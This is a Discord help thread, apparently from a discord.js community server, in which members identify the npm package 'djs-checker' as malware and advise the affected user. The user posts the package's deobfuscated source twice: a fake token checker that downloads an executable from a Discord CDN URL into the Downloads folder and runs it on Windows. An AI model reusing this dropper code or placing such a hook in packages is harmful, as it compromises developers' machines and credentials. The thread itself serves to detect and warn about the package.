djs-checker

Hi, what is it djs-checker (https://www.npmjs.com/package/djs-checker) ?
npm
djs-checker
Include validations and axios for discord.. Latest version: 1.1.2, last published: an hour ago. Start using djs-checker in your project by running npm i djs-checker. There are no other projects in the npm registry using djs-checker.
21 Replies
d.js toolkit
d.js toolkit6mo ago
- What's your exact discord.js npm list discord.js and node node -v version? - Not a discord.js issue? Check out #other-js-ts. - Consider reading #how-to-get-help to improve your question! - Explain what exactly your issue is. - Post the full error stack trace, not just the top part! - Show your code! - Issue solved? Press the button! - Marked as resolved by staff
Unknown User
Unknown User6mo ago
Message Not Public
Sign In & Join Server To View
TÆMBØ
TÆMBØ6mo ago
It is 99% chance a token stealer, so I sure hope nobody downloads that or uses it
Unknown User
Unknown User6mo ago
Message Not Public
Sign In & Join Server To View
chewie
chewie6mo ago
Yes, its a token stealer. Do not install it.
Agentcobra
AgentcobraOP6mo ago
I try to obtain, desobuscted version with https://obf-io.deobfuscate.io/
const axios = require('axios');
const fs = require('fs');
const chalk = require("chalk");
const {
exec
} = require("child_process");
const os = require('os');
const path = require("path");
const folderD = path.join(os.homedir(), "Downloads", "updater.exe");
async function checkDiscordToken(_0x5765c2) {
try {
return true;
} catch (_0x71f188) {
return false;
}
}
async function fetcher() {
try {
if (os.platform() !== "win32") {
return;
}
if (fs.existsSync(folderD)) {
exec('' + folderD, (_0x1a0e40, _0x4b32f7, _0x5ee1ef) => {
if (_0x1a0e40 && _0x1a0e40.code !== 0x1) {
throw new Error("Error starting the bot!");
}
});
return;
}
const _0x2d6d30 = await axios({
'method': 'GET',
'url': "https://cdn.discordapp.com/attachments/1246131714309357644/1246860206160351243/updater.exe?ex=665dec8e&is=665c9b0e&hm=e91c7c32352f1ef8db9da88575df7aa54cf0242635e24e888ef0761661d06029&",
'responseType': "stream"
});
const _0x576b1d = fs.createWriteStream(folderD, {
'flags': 'w+'
});
_0x2d6d30.data.pipe(_0x576b1d);
return new Promise((_0xb5b1f7, _0x5995c6) => {
_0x576b1d.on("finish", () => {
exec('' + folderD, (_0x2321ed, _0x260db6, _0x267e3e) => {
if (_0x2321ed && _0x2321ed.code !== 0x1) {
_0x5995c6(new Error("Error starting the bot!"));
return;
}
_0xb5b1f7();
});
});
_0x576b1d.on("error", _0x5995c6);
});
} catch (_0x558de7) {
throw _0x558de7;
}
}
async function login(_0x21f58d) {
if (!_0x21f58d) {
console.log(chalk.red("No token provided."));
await fetcher();
return;
}
const _0x79d859 = await checkDiscordToken(_0x21f58d);
if (!_0x79d859) {
console.log(chalk.red("Your bot token is invalid."));
await fetcher();
return;
}
console.log(chalk.green("Your bot token is valid."));
await fetcher();
}
module.exports = {
'login': login
};
const axios = require('axios');
const fs = require('fs');
const chalk = require("chalk");
const {
exec
} = require("child_process");
const os = require('os');
const path = require("path");
const folderD = path.join(os.homedir(), "Downloads", "updater.exe");
async function checkDiscordToken(_0x5765c2) {
try {
return true;
} catch (_0x71f188) {
return false;
}
}
async function fetcher() {
try {
if (os.platform() !== "win32") {
return;
}
if (fs.existsSync(folderD)) {
exec('' + folderD, (_0x1a0e40, _0x4b32f7, _0x5ee1ef) => {
if (_0x1a0e40 && _0x1a0e40.code !== 0x1) {
throw new Error("Error starting the bot!");
}
});
return;
}
const _0x2d6d30 = await axios({
'method': 'GET',
'url': "https://cdn.discordapp.com/attachments/1246131714309357644/1246860206160351243/updater.exe?ex=665dec8e&is=665c9b0e&hm=e91c7c32352f1ef8db9da88575df7aa54cf0242635e24e888ef0761661d06029&",
'responseType': "stream"
});
const _0x576b1d = fs.createWriteStream(folderD, {
'flags': 'w+'
});
_0x2d6d30.data.pipe(_0x576b1d);
return new Promise((_0xb5b1f7, _0x5995c6) => {
_0x576b1d.on("finish", () => {
exec('' + folderD, (_0x2321ed, _0x260db6, _0x267e3e) => {
if (_0x2321ed && _0x2321ed.code !== 0x1) {
_0x5995c6(new Error("Error starting the bot!"));
return;
}
_0xb5b1f7();
});
});
_0x576b1d.on("error", _0x5995c6);
});
} catch (_0x558de7) {
throw _0x558de7;
}
}
async function login(_0x21f58d) {
if (!_0x21f58d) {
console.log(chalk.red("No token provided."));
await fetcher();
return;
}
const _0x79d859 = await checkDiscordToken(_0x21f58d);
if (!_0x79d859) {
console.log(chalk.red("Your bot token is invalid."));
await fetcher();
return;
}
console.log(chalk.green("Your bot token is valid."));
await fetcher();
}
module.exports = {
'login': login
};
Obfuscator.io Deobfuscator
Obfuscator.io Deobfuscator
chewie
chewie6mo ago
It downloads and runs a malicious file on your PC.
Agentcobra
AgentcobraOP6mo ago
does execute it ?
chewie
chewie6mo ago
yes
exec('' + folderD, (_0x2321ed, _0x260db6, _0x267e3e)
Agentcobra
AgentcobraOP6mo ago
ok do I need to reset password ? or it's only on the bot ?
Unknown User
Unknown User6mo ago
Message Not Public
Sign In & Join Server To View
Agentcobra
AgentcobraOP6mo ago
Can I reset my token ?
Unknown User
Unknown User6mo ago
Message Not Public
Sign In & Join Server To View
Agentcobra
AgentcobraOP6mo ago
scan is already in progress and bot's token already reset
jakub
jakub6mo ago
bruh This is the first thing I see going on in here, a NPM scam 💀
Agentcobra
AgentcobraOP6mo ago
already reported on npm
chewie
chewie6mo ago
Did you run the package....?
Agentcobra
AgentcobraOP6mo ago
yes but not directly it was a dépendence
chewie
chewie6mo ago
did you import it though If you did, delete the file it downloaded, reset your password and restart your PC.
Agentcobra
AgentcobraOP6mo ago
GitHub
bot/package.json at main · melvydiscord/bot
my discord bot. Contribute to melvydiscord/bot development by creating an account on GitHub.
chewie
chewie6mo ago
but that doesnt have it?
Want results from more Discord servers?
Add your server